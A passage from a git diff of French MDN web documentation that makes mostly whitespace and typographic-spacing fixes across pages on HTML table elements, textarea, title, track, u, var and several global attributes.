Firefox est le seul navigateur supportant la valeur 0 définie par la spécification {{HTMLVersionInline(4.01)}}. @@ -46,7 +46,7 @@ Cet élément inclut [les attributs universels](/fr/docs/Web/HTML/Attributs_univ - `center` : le contenu de la cellule est centré horizontalement - `right` : le contenu de la cellule est aligné à droite de la cellule - `justify` : insert des espaces dans le contenu textuel afin que le contenu de la cellule soit justifié - - `char` : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs {{htmlattrxref("char", "td")}} et {{htmlattrxref("charoff", "td")}} {{unimplemented_inline(2212)}}. + - `char` : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs {{htmlattrxref("char", "td")}} et {{htmlattrxref("charoff", "td")}} {{unimplemented_inline(2212)}}. Si cet attribut n'est pas renseigné, la valeur `left` est prise par défaut. @@ -68,51 +68,51 @@ Cet élément inclut [les attributs universels](/fr/docs/Web/HTML/Attributs_univ <table> <tbody> <tr> - <td> </td> + <td></td> <td><code>black</code> = "#000000"</td> - <td> </td> + <td></td> <td><code>green</code> = "#008000"</td> </tr> <tr> - <td> </td> + <td></td> <td><code>silver</code> = "#C0C0C0"</td> - <td> </td> + <td></td> <td><code>lime</code> = "#00FF00"</td> </tr> <tr> - <td> </td> + <td></td> <td><code>gray</code> = "#808080"</td> - <td> </td> + <td></td> <td><code>olive</code> = "#808000"</td> </tr> <tr> - <td> </td> + <td></td> <td><code>white</code> = "#FFFFFF"</td> - <td> </td> + <td></td> <td><code>yellow</code> = "#FFFF00"</td> </tr> <tr> - <td> </td> + <td></td> <td><code>maroon</code> = "#800000"</td> - <td> </td> + <td></td> <td><code>navy</code> = "#000080"</td> </tr> <tr> - <td> </td> + <td></td> <td><code>red</code> = "#FF0000"</td> - <td> </td> + <td></td> <td><code>blue</code> = "#0000FF"</td> </tr> <tr> - <td> </td> + <td></td> <td><code>purple</code> = "#800080"</td> - <td> </td> + <td></td> <td><code>teal</code> = "#008080"</td> </tr> <tr> - <td> </td> + <td></td> <td><code>fuchsia</code> = "#FF00FF"</td> - <td> </td> + <td></td> <td> <p><code>aqua</code> = "#00FFFF"</p> </td> @@ -199,7 +199,7 @@ Cet élément inclut [les attributs universels](/fr/docs/Web/HTML/Attributs_univ <th scope="row">Omission de balises</th> <td> La balise de début est obligatoire. La balise de fin peut être absente - si l'élément est immédiatement suivi par un élément + si l'élément est immédiatement suivi par un élément {{HTMLElement("th")}} ou un élément {{HTMLElement("td")}} ou s'il n'y a plus aucune donnée dans l'élément parent. </td> @@ -223,8 +223,8 @@ Cet élément inclut [les attributs universels](/fr/docs/Web/HTML/Attributs_univ | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG','tables.html#the-td-element','td element')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C','tabular-data.html#the-td-element','td element')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG','tables.html#the-td-element','td element')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C','tabular-data.html#the-td-element','td element')}} | {{Spec2('HTML5 W3C')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/textarea/index.md b/files/fr/web/html/element/textarea/index.md index 60901cd5ca..8655ce394e 100644 --- a/files/fr/web/html/element/textarea/index.md +++ b/files/fr/web/html/element/textarea/index.md @@ -231,9 +231,9 @@ Cet exemple affiche deux éléments `<textarea>` : le premier est désactivé av | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'forms.html#the-textarea-element', '<textarea>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'forms.html#the-textarea-element', '<textarea>')}} | {{Spec2('HTML5 W3C')}} | | -| {{SpecName('HTML4.01', 'interact/forms.html#h-17.7', '<textarea>')}} | {{Spec2('HTML4.01')}} | | +| {{SpecName('HTML WHATWG', 'forms.html#the-textarea-element', '<textarea>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'forms.html#the-textarea-element', '<textarea>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML4.01', 'interact/forms.html#h-17.7', '<textarea>')}} | {{Spec2('HTML4.01')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/tfoot/index.md b/files/fr/web/html/element/tfoot/index.md index 86fa4aa230..8c3a7e15de 100644 --- a/files/fr/web/html/element/tfoot/index.md +++ b/files/fr/web/html/element/tfoot/index.md @@ -29,7 +29,7 @@ Cet élément inclut [les attributs universels](/fr/docs/Web/HTML/Attributs_univ - `center` : le contenu de la cellule est centré horizontalement - `right` : le contenu de la cellule est aligné à droite de la cellule - `justify` : insert des espaces dans le contenu textuel afin que le contenu de la cellule soit justifié - - `char` : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs {{htmlattrxref("char", "tfoot")}} et {{htmlattrxref("charoff", "tfoot")}} {{unimplemented_inline(2212)}}. + - `char` : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs {{htmlattrxref("char", "tfoot")}} et {{htmlattrxref("charoff", "tfoot")}} {{unimplemented_inline(2212)}}. Si cet attribut n'est pas renseigné, la valeur `left` est prise par défaut. @@ -79,7 +79,7 @@ Cet élément inclut [les attributs universels](/fr/docs/Web/HTML/Attributs_univ </tbody> </table> - > **Note :** Il est fortement conseillé de ne pas utiliser cet attribut car celui-ci n'est pas un attribut standard et n'a été implémentée que sous certaines versions d'Internet Explorer. L'élément {{HTMLElement("tfoot")}} doit être mis en forme grâce au [CSS](/fr/docs/CSS). Pour fournir un effet semblable à celui achevé par l'attribut **`bgcolor`**, il est possible d'utiliser la propriété CSS {{cssxref("background-color")}} sur les éléments {{HTMLElement("td")}} ou {{HTMLElement("th")}} souhaités. + > **Note :** Il est fortement conseillé de ne pas utiliser cet attribut car celui-ci n'est pas un attribut standard et n'a été implémentée que sous certaines versions d'Internet Explorer. L'élément {{HTMLElement("tfoot")}} doit être mis en forme grâce au [CSS](/fr/docs/CSS). Pour fournir un effet semblable à celui achevé par l'attribut **`bgcolor`**, il est possible d'utiliser la propriété CSS {{cssxref("background-color")}} sur les éléments {{HTMLElement("td")}} ou {{HTMLElement("th")}} souhaités. - {{htmlattrdef("char")}} {{Deprecated_inline}} en {{HTMLVersionInline("4")}}, {{obsolete_inline}} en {{HTMLVersionInline("5")}} @@ -193,8 +193,8 @@ Cet élément inclut [les attributs universels](/fr/docs/Web/HTML/Attributs_univ | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG','tables.html#the-tfoot-element','tfoot element')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C','tabular-data.html#the-tfoot-element','tfoot element')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG','tables.html#the-tfoot-element','tfoot element')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C','tabular-data.html#the-tfoot-element','tfoot element')}} | {{Spec2('HTML5 W3C')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/th/index.md b/files/fr/web/html/element/th/index.md index 18236440e1..9ca7680711 100644 --- a/files/fr/web/html/element/th/index.md +++ b/files/fr/web/html/element/th/index.md @@ -22,7 +22,7 @@ Cet élément inclut [les attributs universels](/fr/docs/Web/HTML/Attributs_univ - {{htmlattrdef("abbr")}} - : Cet attribut contient une description courte et abrégée du contenu de la cellule. Certains outils utilisateurs, comme la synthèse vocale, peuvent décrire cette information avant le contenu lui-même. - {{htmlattrdef("colspan")}} - - : Cet attribut contient un entier positif indiquant le nombre de colonnes sur lesquelles s'étend la cellule. La valeur par défaut est 1. Si cet attribut vaut 0, la cellule s'étend jusqu'à la fin du {{HTMLElement("colgroup")}} auquel appartient la cellule, même si celui-ci est défini implicitement. Des valeurs supérieures à 1000 peuvent être considérées comme incorrectes et seront écrétées à 1000. + - : Cet attribut contient un entier positif indiquant le nombre de colonnes sur lesquelles s'étend la cellule. La valeur par défaut est 1. Si cet attribut vaut 0, la cellule s'étend jusqu'à la fin du {{HTMLElement("colgroup")}} auquel appartient la cellule, même si celui-ci est défini implicitement. Des valeurs supérieures à 1000 peuvent être considérées comme incorrectes et seront écrétées à 1000. - {{htmlattrdef("headers")}} - : Cet attribut est une liste de chaînes de caractères séparées par des espace. Chacune correspond à l'attribut `id` de l'élément {{HTMLElement("th")}} qui s'applique à cet élément. - {{htmlattrdef("rowspan")}} @@ -47,7 +47,7 @@ Cet élément inclut [les attributs universels](/fr/docs/Web/HTML/Attributs_univ - `center` : le contenu de la cellule est centré horizontalement - `right` : le contenu de la cellule est aligné à droite de la cellule - `justify` : insert des espaces dans le contenu textuel afin que le contenu de la cellule soit justifié - - `char` : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs {{htmlattrxref("char", "th")}} et {{htmlattrxref("charoff", "th")}} {{unimplemented_inline(2212)}}. + - `char` : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs {{htmlattrxref("char", "th")}} et {{htmlattrxref("charoff", "th")}} {{unimplemented_inline(2212)}}. Si cet attribut n'est pas renseigné, la valeur `left` est prise par défaut. @@ -176,8 +176,8 @@ Cet élément inclut [les attributs universels](/fr/docs/Web/HTML/Attributs_univ | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG','tables.html#the-th-element','th element')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C','tabular-data.html#the-th-element','th element')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG','tables.html#the-th-element','th element')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C','tabular-data.html#the-th-element','th element')}} | {{Spec2('HTML5 W3C')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/thead/index.md b/files/fr/web/html/element/thead/index.md index e739de828b..9b82ab4240 100644 --- a/files/fr/web/html/element/thead/index.md +++ b/files/fr/web/html/element/thead/index.md @@ -29,7 +29,7 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive - `center` : le contenu de la cellule est centré horizontalement - `right` : le contenu de la cellule est aligné à droite de la cellule - `justify` : insert des espaces dans le contenu textuel afin que le contenu de la cellule soit justifié - - `char` : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs {{htmlattrxref("char", "thead")}} et {{htmlattrxref("charoff", "thead")}} {{unimplemented_inline(2212)}}. + - `char` : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs {{htmlattrxref("char", "thead")}} et {{htmlattrxref("charoff", "thead")}} {{unimplemented_inline(2212)}}. Si cet attribut n'est pas renseigné, la valeur `left` est prise par défaut. @@ -42,7 +42,7 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive - : Cet attribut définit la couleur d'arrière-plan de toutes les cellules. C'est un code à 6 chiffres hexadécimaux comme défini par le [sRGB](https://www.w3.org/Graphics/Color/sRGB). Il est précédé d'un '#'. Un des [mots-clés préfédinis pour les couleurs](/fr/docs/Web/CSS/color_value#color_keywords) peut également être utilisé. - > **Note :** Il est fortement conseillé de ne pas utiliser cet attribut car celui-ci n'est pas un attribut standard et n'a été implémentée que sous certaines versions d'Internet Explorer. L'élément {{HTMLElement("thead")}} doit être mis en forme grâce au [CSS](/fr/docs/CSS). Pour fournir un effet semblable à celui achevé par l'attribut **bgcolor**, il est possible d'utiliser la propriété CSS {{cssxref("background-color")}} sur les éléments {{HTMLElement("td")}} ou {{HTMLElement("th")}} souhaités. + > **Note :** Il est fortement conseillé de ne pas utiliser cet attribut car celui-ci n'est pas un attribut standard et n'a été implémentée que sous certaines versions d'Internet Explorer. L'élément {{HTMLElement("thead")}} doit être mis en forme grâce au [CSS](/fr/docs/CSS). Pour fournir un effet semblable à celui achevé par l'attribut **bgcolor**, il est possible d'utiliser la propriété CSS {{cssxref("background-color")}} sur les éléments {{HTMLElement("td")}} ou {{HTMLElement("th")}} souhaités. - {{htmlattrdef("char")}} {{Deprecated_inline}} en {{HTMLVersionInline("4")}}, {{obsolete_inline}} en {{HTMLVersionInline("5")}} @@ -152,8 +152,8 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG','tables.html#the-thead-element','thead element')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C','tabular-data.html#the-thead-element','thead element')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG','tables.html#the-thead-element','thead element')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C','tabular-data.html#the-thead-element','thead element')}} | {{Spec2('HTML5 W3C')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/title/index.md b/files/fr/web/html/element/title/index.md index a8262f98ef..45b4ec4d76 100644 --- a/files/fr/web/html/element/title/index.md +++ b/files/fr/web/html/element/title/index.md @@ -112,9 +112,9 @@ Mettre à jour la valeur de `title` afin de refléter un changement d'état impo | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'semantics.html#the-title-element', '<title>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'document-metadata.html#the-title-element', '<title>')}} | {{Spec2('HTML5 W3C')}} | | -| {{SpecName('HTML4.01', 'struct/global.html#h-7.4.2', '<title>')}} | {{Spec2('HTML4.01')}} | | +| {{SpecName('HTML WHATWG', 'semantics.html#the-title-element', '<title>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'document-metadata.html#the-title-element', '<title>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML4.01', 'struct/global.html#h-7.4.2', '<title>')}} | {{Spec2('HTML4.01')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/track/index.md b/files/fr/web/html/element/track/index.md index fabc4ea2a2..8f07ff3429 100644 --- a/files/fr/web/html/element/track/index.md +++ b/files/fr/web/html/element/track/index.md @@ -32,7 +32,7 @@ L'élément HTML **`<track>`** est utilisé comme élément fils d'un élément - `captions` - - La piste est une retransciption voire une traduction de la partie audio du média. + - La piste est une retransciption voire une traduction de la partie audio du média. - La piste peut contenir des informations non-verbales importantes comme des indications musicales ou des effets sonores. La piste peut également indiquer la source du bruit (musique, personnage, etc.). - Ce type de piste est adapté aux utilisateurs malentendants ou lorsque le son est désactivé. diff --git a/files/fr/web/html/element/u/index.md b/files/fr/web/html/element/u/index.md index 1ed27bb44b..31868c50ed 100644 --- a/files/fr/web/html/element/u/index.md +++ b/files/fr/web/html/element/u/index.md @@ -82,7 +82,7 @@ La plupart du temps, ce n'est pas l'élément `<u>` qu'il faut utiliser. Voici q #### Souligner pour la simple mise en forme -Pour souligner du texte sans que cela ait une quelconque portée sémantique, on utilisera un élément {{HTMLElement("span")}} qu'on mettra en forme avec la propriété CSS {{cssxref("text-decoration")}} et la valeur `"underline"` : +Pour souligner du texte sans que cela ait une quelconque portée sémantique, on utilisera un élément {{HTMLElement("span")}} qu'on mettra en forme avec la propriété CSS {{cssxref("text-decoration")}} et la valeur `"underline"` : ##### HTML @@ -189,5 +189,5 @@ Les titres de livres doivent être indiqués avec un élément {{HTMLElement("ci ## Voir aussi -- Les éléments {{HTMLElement("span")}}, {{HTMLElement("i")}}, {{HTMLElement("em")}}, {{HTMLElement("b")}} et {{HTMLElement("cite")}} qui, selon les cas, peuvent être utilisés à la place de `<u>`. +- Les éléments {{HTMLElement("span")}}, {{HTMLElement("i")}}, {{HTMLElement("em")}}, {{HTMLElement("b")}} et {{HTMLElement("cite")}} qui, selon les cas, peuvent être utilisés à la place de `<u>`. - La propriété CSS {{cssxref("text-decoration")}} qui permet d'obtenir un effet stylistique semblable à la mise en forme par défaut d'un élément `<u>`. diff --git a/files/fr/web/html/element/var/index.md b/files/fr/web/html/element/var/index.md index 978481d992..82f3bfd85b 100644 --- a/files/fr/web/html/element/var/index.md +++ b/files/fr/web/html/element/var/index.md @@ -141,8 +141,8 @@ var { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'text-level-semantics.html#the-var-element', '<var>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-var-element', '<var>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG', 'text-level-semantics.html#the-var-element', '<var>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-var-element', '<var>')}} | {{Spec2('HTML5 W3C')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/global_attributes/autocapitalize/index.md b/files/fr/web/html/global_attributes/autocapitalize/index.md index d562b10ce6..3f5accc1fe 100644 --- a/files/fr/web/html/global_attributes/autocapitalize/index.md +++ b/files/fr/web/html/global_attributes/autocapitalize/index.md @@ -26,7 +26,7 @@ L'attribut `autocapitalize` n'entraînera pas de mise en majuscule automatique p | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', "interaction.html#autocapitalization", "autocapitalize")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "interaction.html#autocapitalization", "autocapitalize")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/global_attributes/class/index.md b/files/fr/web/html/global_attributes/class/index.md index cd398b7af3..35e32de2c6 100644 --- a/files/fr/web/html/global_attributes/class/index.md +++ b/files/fr/web/html/global_attributes/class/index.md @@ -23,7 +23,7 @@ Bien que la spécification ne précise aucune contrainte quant aux noms utilisé | ------------------------------------------------------------------------------------------------ | -------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('HTML WHATWG', "dom.html#classes", "class")}} | {{Spec2('HTML WHATWG')}} | Aucune modification depuis {{SpecName('HTML5.1')}}. | | {{SpecName('HTML5.1', "dom.html#element-attrdef-global-class", "class")}} | {{Spec2('HTML5.1')}} | État selon {{SpecName('HTML WHATWG')}}. Aucune modification depuis {{SpecName('HTML5 W3C')}} | -| {{SpecName('HTML5 W3C', "dom.html#classes", "class")}} | {{Spec2('HTML5 W3C')}} | État selon {{SpecName('HTML WHATWG')}}. `class` est désormas sun attribut universel depuis {{SpecName('HTML4.01')}},. | +| {{SpecName('HTML5 W3C', "dom.html#classes", "class")}} | {{Spec2('HTML5 W3C')}} | État selon {{SpecName('HTML WHATWG')}}. `class` est désormas sun attribut universel depuis {{SpecName('HTML4.01')}},. | | {{SpecName('HTML4.01', "struct/global.html#h-7.5.2", "class")}} | {{Spec2('HTML4.01')}} | Cet attribut est pris en charge sur tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} et {{HTMLElement("title")}}. | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/global_attributes/contextmenu/index.md b/files/fr/web/html/global_attributes/contextmenu/index.md index 5dc068c1cf..2e5b1c7415 100644 --- a/files/fr/web/html/global_attributes/contextmenu/index.md +++ b/files/fr/web/html/global_attributes/contextmenu/index.md @@ -32,18 +32,18 @@ Voici quelques exemples de personnalisations de menus. Le code HTML pourra être </menu> </menu> <ol> - <li> - Dans cet exemple, vous pouvez partager un lien vers - cette page sur Facebook et/ou Twitter via le groupe Partager - du menu contextuel - </li> + <li> + Dans cet exemple, vous pouvez partager un lien vers + cette page sur Facebook et/ou Twitter via le groupe Partager + du menu contextuel + </li> <li>Sur cette ligne : on peut partager la page sur Twitter ou Facebook grâce au menu Partager du menu contextuel.</li> <li><pre contextmenu="changeFont" id="fontSizing">Sur cette ligne : on peut changer la taille de la police en utilisant les options "Augmenter/Réduire la taille de la police" du menu contextuel</pre></li> <menu type="context" id="changeFont"> <menuitem label="Augmenter la taille de la police" onclick="incFont()"></menuitem> <menuitem label="Réduire la taille de la police" onclick="decFont()"></menuitem> </menu> - <li contextmenu="ChangeImage" id="changeImage">Sur cette ligne : on peut utiliser l'option "Changer l'image" du menu.</li><br /> + <li contextmenu="ChangeImage" id="changeImage">Sur cette ligne : on peut utiliser l'option "Changer l'image" du menu.</li><br /> <img src="https://developer.mozilla.org/media/img/promote/promobutton_mdn5.png" contextmenu="ChangeImage" id="promoButton" /> <menu type="context" id="ChangeImage"> <menuitem label="Changer l'image" onclick="changeImage()"></menuitem> diff --git a/files/fr/web/html/global_attributes/dir/index.md b/files/fr/web/html/global_attributes/dir/index.md index 837f86e7da..ea0e2e94e2 100644 --- a/files/fr/web/html/global_attributes/dir/index.md +++ b/files/fr/web/html/global_attributes/dir/index.md @@ -19,7 +19,7 @@ Les valeurs autorisées pour cet attribut sont : - `ltr` : qui signifie _left to right_ (gauche à droite), utilisé pour les langages écrits de gauche à droite (comme le français ou l'anglais par exemple) - `rtl` : qui signifie _right to left_ (droite à gauche), utilisé pour les langages écrits de droite à gauche (comme l'arabe par exemple) -- `auto` : qui délègue la décision à l'agent utilisateur. L'algorithme utilisé est relativement simple : le contenu textuel est analysé et lorsque le premier caractère possédant une direction « forte » est rencontré, cette direction est prise pour l'ensemble de l'élément. +- `auto` : qui délègue la décision à l'agent utilisateur. L'algorithme utilisé est relativement simple : le contenu textuel est analysé et lorsque le premier caractère possédant une direction « forte » est rencontré, cette direction est prise pour l'ensemble de l'élément. > **Note :** Cet attribut est obligatoire pour l'élément {{HTMLElement("bdo")}}, pour lequel l'attribut a une sémantique différente. > diff --git a/files/fr/web/html/global_attributes/draggable/index.md b/files/fr/web/html/global_attributes/draggable/index.md index da6e7cb41a..314eb29c7d 100644 --- a/files/fr/web/html/global_attributes/draggable/index.md +++ b/files/fr/web/html/global_attributes/draggable/index.md @@ -30,7 +30,7 @@ En revanche, on pourra correctement utiliser : <label draggable="true">Label exemple</label> ``` -Par défaut, seules les sélections de texte, les images et les liens peuvent être déplacés à la souris. Pour les autres éléments, il faudra définir le gestionnaire d'événements pour {{domxref('GlobalEventHandlers.ondragstart','ondragstart')}} afin de faire fonctionner le glisser-déposer. Cela est illustré [dans cet exemple](/fr/docs/Glisser_et_déposer/Opérations_de_glissement). +Par défaut, seules les sélections de texte, les images et les liens peuvent être déplacés à la souris. Pour les autres éléments, il faudra définir le gestionnaire d'événements pour {{domxref('GlobalEventHandlers.ondragstart','ondragstart')}} afin de faire fonctionner le glisser-déposer. Cela est illustré [dans cet exemple](/fr/docs/Glisser_et_déposer/Opérations_de_glissement). ## Spécifications diff --git a/files/fr/web/html/global_attributes/enterkeyhint/index.md b/files/fr/web/html/global_attributes/enterkeyhint/index.md index 364247dab8..f01e6ee612 100644 --- a/files/fr/web/html/global_attributes/enterkeyhint/index.md +++ b/files/fr/web/html/global_attributes/enterkeyhint/index.md @@ -25,7 +25,7 @@ ou [`pattern`](/fr/docs/Web/HTML/Element/input#htmlattrdefpattern) pour afficher ### Valeurs -L'attribut `enterkeyhint` est un attribut à valeur contrainte et accepte uniquement les valeurs suivantes : +L'attribut `enterkeyhint` est un attribut à valeur contrainte et accepte uniquement les valeurs suivantes : | Valeur | Description | Libellé de l'exemple (dépend de l'agent utilisateur et de la langue) | | ------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------- | diff --git a/files/fr/web/html/global_attributes/index.md b/files/fr/web/html/global_attributes/index.md index bc41e64456..94d2fc05ad 100644 --- a/files/fr/web/html/global_attributes/index.md +++ b/files/fr/web/html/global_attributes/index.md @@ -88,7 +88,7 @@ En plus des attributs universels HTML, il existe également les attributs univer - {{htmlattrdef("itemref")}} - : Les propriétés d'un objet qui ne sont pas les éléments descendants de l'élément courant peuvent être associée via l'attribut `itemscope` contenant une référence vers un `itemref`. `itemref` fournit une liste d'identifiants d'éléments qui correspondent aux propriétés supplémentaires définies autre part dans le document. Cet attribut est lié [aux microdonnées](https://html.spec.whatwg.org/multipage/#toc-microdata). - {{htmlattrdef("itemscope")}} - - : `itemscope` fonctionne généralement avec `itemtype` afin d'indiquer que le coded HTML contenu dans un bloc donné concerne un objet en particulier. `itemscope` crée l'objet et définit la portée de l'`itemtype` associée. `itemtype` est une URL valide construite à partir d'un vocabulaire (par exemple [schema.org](https://schema.org/)) qui décrit les objets et leurs propriétés. Cet attribut est lié [aux microdonnées](https://html.spec.whatwg.org/multipage/#toc-microdata). + - : `itemscope` fonctionne généralement avec `itemtype` afin d'indiquer que le coded HTML contenu dans un bloc donné concerne un objet en particulier. `itemscope` crée l'objet et définit la portée de l'`itemtype` associée. `itemtype` est une URL valide construite à partir d'un vocabulaire (par exemple [schema.org](https://schema.org/)) qui décrit les objets et leurs propriétés. Cet attribut est lié [aux microdonnées](https://html.spec.whatwg.org/multipage/#toc-microdata). - {{htmlattrdef("itemtype")}} - : Cet attribut indique l'URL du vocabulaire utilisé pour définir les propriétés d'un objet. Cet attribut est lié [aux microdonnées](https://html.spec.whatwg.org/multipage/#toc-microdata). - {{htmlattrdef("lang")}} diff --git a/files/fr/web/html/global_attributes/is/index.md b/files/fr/web/html/global_attributes/is/index.md index 9df0b63838..dbc061d32b 100644 --- a/files/fr/web/html/global_attributes/is/index.md +++ b/files/fr/web/html/global_attributes/is/index.md @@ -44,7 +44,7 @@ customElements.define('word-count', WordCount, { extends: 'p' }); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', "custom-elements.html#attr-is", "is")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "custom-elements.html#attr-is", "is")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/global_attributes/itemid/index.md b/files/fr/web/html/global_attributes/itemid/index.md index 38c6c95ba4..91bc0411a6 100644 --- a/files/fr/web/html/global_attributes/itemid/index.md +++ b/files/fr/web/html/global_attributes/itemid/index.md @@ -74,8 +74,8 @@ Un élément qui décrit un livre : | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | ------------------------------------ | ------------ | -| {{SpecName('HTML Microdata', "#items", "itemid")}} | {{Spec2('HTML Microdata')}} | | -| {{SpecName('HTML WHATWG', "microdata.html#attr-itemid", "itemid")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML Microdata', "#items", "itemid")}} | {{Spec2('HTML Microdata')}} | | +| {{SpecName('HTML WHATWG', "microdata.html#attr-itemid", "itemid")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/global_attributes/itemprop/index.md b/files/fr/web/html/global_attributes/itemprop/index.md index b42ef9904e..1cfd77892b 100644 --- a/files/fr/web/html/global_attributes/itemprop/index.md +++ b/files/fr/web/html/global_attributes/itemprop/index.md @@ -12,7 +12,7 @@ original_slug: Web/HTML/Attributs_universels/itemprop --- {{HTMLSidebar("Global_attributes")}} -L'[attribut universel](/fr/docs/Web/HTML/Attributs_universels) **`itemprop`** est utilisé afin d'ajouter des propriétés à un objet. C'est un attribut universel et chaque élément HTML peut donc avoir un attribut `itemprop` qui permettra de former un couple de nom (la valeur de l'attribut) et de valeur (la valeur de l'élément). Chacune de ces paires constitue une **propriété** et un groupe de propriété forme un **objet (_item_)**. Les valeurs des propriétés sont généralement des chaînes de caractères ou des URL et peuvent être associées à de nombreux éléments comme {{HTMLElement("audio")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("object")}}, {{HTMLElement("source")}} , {{HTMLElement("track")}} et {{HTMLElement("video")}}. +L'[attribut universel](/fr/docs/Web/HTML/Attributs_universels) **`itemprop`** est utilisé afin d'ajouter des propriétés à un objet. C'est un attribut universel et chaque élément HTML peut donc avoir un attribut `itemprop` qui permettra de former un couple de nom (la valeur de l'attribut) et de valeur (la valeur de l'élément). Chacune de ces paires constitue une **propriété** et un groupe de propriété forme un **objet (_item_)**. Les valeurs des propriétés sont généralement des chaînes de caractères ou des URL et peuvent être associées à de nombreux éléments comme {{HTMLElement("audio")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("object")}}, {{HTMLElement("source")}} , {{HTMLElement("track")}} et {{HTMLElement("video")}}. ### Un exemple simple @@ -36,7 +36,7 @@ L'[attribut universel](/fr/docs/Web/HTML/Attributs_universels) **`itemprop`** es <table class="standard-table"> <tbody> <tr> - <td colspan="1" rowspan="2"> </td> + <td colspan="1" rowspan="2"> </td> <th colspan="2" rowspan="1"><strong>Objet</strong></th> </tr> <tr> @@ -240,7 +240,7 @@ Une propriété est un ensemble non-ordonné de composants uniques sensibles à <table class="standard-table"> <thead> <tr> - <th colspan="1" rowspan="2" scope="col"> </th> + <th colspan="1" rowspan="2" scope="col"> </th> <th colspan="2" rowspan="1" scope="col">Objet</th> </tr> <tr> @@ -408,8 +408,8 @@ Un exemple sur un livre qu'on décrit avec les différents attributs. | Spécification | État | Commentaires | | 